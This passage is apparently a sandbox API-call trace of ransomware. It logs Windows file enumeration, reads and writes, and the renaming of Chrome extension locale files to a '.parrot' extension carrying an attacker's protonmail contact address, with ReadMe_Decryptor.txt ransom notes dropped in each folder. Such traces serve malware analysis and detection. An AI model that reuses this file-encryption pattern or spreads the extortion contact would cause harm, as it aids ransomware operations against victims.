lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5da060 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.502] WriteFile (in: hFile=0x28c, lpBuffer=0x5da060*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5da060*, lpNumberOfBytesWritten=0x18da44*=0x1e8, lpOverlapped=0x0) returned 1 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.502] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.502] CloseHandle (hObject=0x28c) returned 1 [0070.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da060 [0070.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.503] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67b6f0 | out: hHeap=0x5b0000) returned 1 [0070.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173390 | out: hHeap=0x5b0000) returned 1 [0070.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0070.505] GetFileType (hFile=0x28c) returned 0x1 [0070.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.516] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.516] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78195e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78195e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.516] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78195e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.517] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.517] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.517] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.517] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.517] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.517] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.518] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.518] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdc, lpOverlapped=0x0) returned 1 [0070.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.519] GetLastError () returned 0x0 [0070.519] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da218 [0070.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x69a250 [0070.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.520] WriteFile (in: hFile=0x28c, lpBuffer=0x69a250*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69a250*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0070.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.520] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.520] CloseHandle (hObject=0x28c) returned 1 [0070.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da218 [0070.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.522] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67b878 | out: hHeap=0x5b0000) returned 1 [0070.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0070.523] GetFileType (hFile=0x28c) returned 0x1 [0070.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb783f740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb783f740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb783f740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.534] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.534] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.534] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.536] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x248, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.536] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.536] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.537] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.537] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x130, lpOverlapped=0x0) returned 1 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.537] GetLastError () returned 0x0 [0070.537] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da060 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69a250 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x69a438 [0070.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.538] WriteFile (in: hFile=0x28c, lpBuffer=0x69a438*, nNumberOfBytesToWrite=0x258, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69a438*, lpNumberOfBytesWritten=0x18da44*=0x258, lpOverlapped=0x0) returned 1 [0070.539] HeapFree (in: hHeap=0x5b0000, 